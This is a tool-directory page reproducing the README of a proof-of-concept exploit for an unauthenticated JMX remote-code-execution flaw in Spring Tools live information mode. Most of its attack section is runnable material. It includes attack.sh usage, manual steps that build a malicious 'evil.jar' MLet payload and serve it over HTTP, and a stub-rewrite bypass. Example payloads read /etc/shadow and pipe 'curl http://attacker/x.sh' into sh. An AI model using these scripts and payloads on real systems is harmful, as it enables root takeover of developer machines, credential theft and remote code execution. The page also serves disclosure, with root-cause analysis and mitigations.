Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47858 — Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications. | Kitploit
Tools/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47858 — Spring Tools "live information" mode unauthenticated JMX RCE (PoC)

中文 README | Advisory: Spring Security | CVE Record

Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.

  • CWE-306 Missing Authentication for Critical Function
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Fixed in: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (all versions before 5 are also affected and unsupported)

Table of contents

  1. Root cause (source evidence)
  2. Quick reproduction (one-shot script)
  3. Exploit usage (flexible command)
  4. How it works: direct RCE, not a callback exploit
  5. Test matrix & evidence
  6. Fix & mitigation
  7. Repository layout
  8. Disclaimer

1. Root cause (source evidence)

Diff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):

Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

root@kitploit:~
"-Dcom.sun.management.jmxremote",                  // enable JMX
"-Dcom.sun.management.jmxremote.port=<free port>",
"-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
"-Dcom.sun.management.jmxremote.ssl=false",          // NO TLS!
"-Djava.rmi.server.hostname=localhost",              // the only "barrier": stubs advertise localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // all actuator endpoints via JMX
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.
  • VSCode extension 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Fixed 5.3.0:

  • With a pinned port: adds -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).
  • Default (port 0): no com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).

Note: -Dcom.sun.management.jmxremote.port alone is enough to enable the JMX agent (the main com.sun.management.jmxremote switch is not required) — the VSCode variant is equally exploitable.


2. Quick reproduction (one-shot script)

Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).

root@kitploit:~
./run-lab.sh vuln          # vulnerable config (5.2.0 args)          -> RCE succeeds
./run-lab.sh fixed-pinned  # fixed 5.3.0 pinned-port config         -> attack refused (JMX on 127.0.0.1)
./run-lab.sh fixed-auto    # fixed 5.3.0 default auto config        -> attack refused (no remote JMX port)

Customize the command executed on the victim (default id; hostname; uname -a):

root@kitploit:~
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln

The script: builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → runs the exploit → verifies RCE marker files (/tmp/CVE-2026-47858_PWNED*) inside the victim container.


3. Exploit usage (flexible command)

3.1 One-shot attack.sh (recommended)

The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):

root@kitploit:~
./attack.sh <target-ip> <jmx-port> "<command>" [http-port] [victim-container]

# Examples
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # basic recon
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # read a file
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim   # pipes / reverse shell etc.
./attack.sh 192.168.1.20 19090 "id" 8000                            # arbitrary remote target

# Env vars
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # IP of this host as seen by the victim (auto-detected by default)
JDK_DIR=/path/to/jdk ./attack.sh ...        # JDK location

Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit → (if a container name is given) verifies marker files inside it.

3.2 Manual step-by-step

root@kitploit:~
# 1) Build the payload jar
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<COMMAND>">
</MLET>
EOF

# 3) Serve the payloads
python3 -m http.server 8000 --bind 0.0.0.0   # from the exploit-server directory

# 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"

# 5) Verify on the target
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout

3.3 Payload & markers

  • Pwn implements DynamicMBean; the command runs synchronously in the constructor via /bin/sh -c (priority: MLET <ARG> argument > victim env var CVE_PAYLOAD_CMD > default id; hostname; uname -a).
  • Markers on the target:
    • /tmp/CVE-2026-47858_PWNED — existence proves RCE
    • /tmp/CVE-2026-47858_PWNED_cmd — the command that ran
    • /tmp/CVE-2026-47858_PWNED_cmdout — command output (stdout+stderr)

Why <ARG>? JDK MLetParser only recognizes <ARG> (<PARAM> is silently ignored), and both TYPE and VALUE are mandatory. Also, the MLet parser does NOT handle HTML comments — keep any stray <...> text out of mlet.txt.


4. How it works: direct RCE, not a callback exploit

root@kitploit:~
attacker ──TCP──▶ victim JMX RMI registry (19090)   <- attacker actively connects to the victim's service
attacker ◀──TCP── victim RMI Server (random port)    <- normal JMX protocol traffic
attacker ──invoke──▶ victim JVM: newClient(null)      <- login to MBeanServer with NO credentials
attacker ──invoke──▶ victim JVM: getMBeansFromURL(.)  <- victim JVM synchronously instantiates the evil class
victim JVM ──HTTP GET──▶ attacker :8000/evil.jar      <- the only "callback": downloading the payload jar
victim JVM inside: Pwn constructor Runtime.exec("<cmd>")  <- command executes directly inside the victim
  • Direct execution: the command runs synchronously inside the victim JVM; by the time getMBeansFromURL returns, the command has finished (marker files are already on disk).
  • Not a callback exploit: no JNDI/LDAP/RMI callback. Classic callback attacks (Log4Shell / JRMPListener-style) require the victim to dial back to an attacker-controlled LDAP/RMI service; here it is the opposite — the attacker actively drives the victim's JMX service end-to-end.
  • The only victim→attacker traffic is a plain HTTP GET (downloading the payload jar — i.e., delivering the malicious class to the target); it is not a callback shell and does not need to stay connected.
  • Bypass note: the vulnerable args include -Djava.rmi.server.hostname=localhost, which only makes RMI stubs advertise "localhost" (a default client dials its own loopback and fails — reproduced by NaiveJmxClient). JmxExploit rewrites the stub's TCPEndpoint host via reflection (Metasploit java_jmx_server and similar tools bypass it the same way).

5. Test matrix & evidence

Evidence captured on the victim:

root@kitploit:~
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root)     # output of the custom command
d4af4b454b90                               # victim container hostname
$ cat /tmp/CVE-2026-47858_PWNED_cmd        # the custom command (delivered via <ARG>)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar

6. Fix & mitigation

  • Upgrade: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (OSS).
  • If you cannot upgrade (official workaround): disable live information when launching Spring Boot applications from the IDE ("Enable live information" in the Boot launch configuration).
  • Emergency hardening: firewall developer machines so IDE-launched apps are not reachable from the LAN; or override the args with -Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.

7. Repository layout

root@kitploit:~
CVE-2026-47858/
├── README.md                 # this document (Chinese)
├── README.en.md              # English documentation
├── run-lab.sh                # one-shot reproduction (vuln / fixed-pinned / fixed-auto)
├── attack.sh                 # flexible exploit script (configurable command, no recompile needed)
├── attacker/
│   ├── JmxExploit.java       # exploit: stub host rewrite + MLet remote class loading RCE
│   └── NaiveJmxClient.java   # control: naive client that fails against the localhost advertisement
├── exploit-server/
│   ├── evil/Pwn.java         # malicious DynamicMBean (constructor executes the command)
│   ├── mlet.txt.template     # MLET descriptor template (command placeholder __COMMAND__)
│   └── evil.jar              # prebuilt payload jar (command-agnostic, rebuildable anytime)
└── victim-app/app/           # victim Spring Boot 4.0.7 app (web+actuator)

8. Disclaimer

This repository is provided for authorized security research, vulnerability validation and defensive testing only. Using it against any system without authorization is illegal; you are solely responsible for your actions.

Download Tool
ConfigJMX listenRemote unauth connectRCE
5.2.0 vulnerable (Eclipse args)*:19090 etc. (0.0.0.0)✅ (stub host rewrite bypasses localhost)✅ root
5.2.0 vulnerable (VSCode 2.2.0 args)*:19090 (0.0.0.0)✅✅
5.3.0 fixed (pinned port)127.0.0.1 only❌ connection refused❌
5.3.0 fixed (default auto)no JMX port❌❌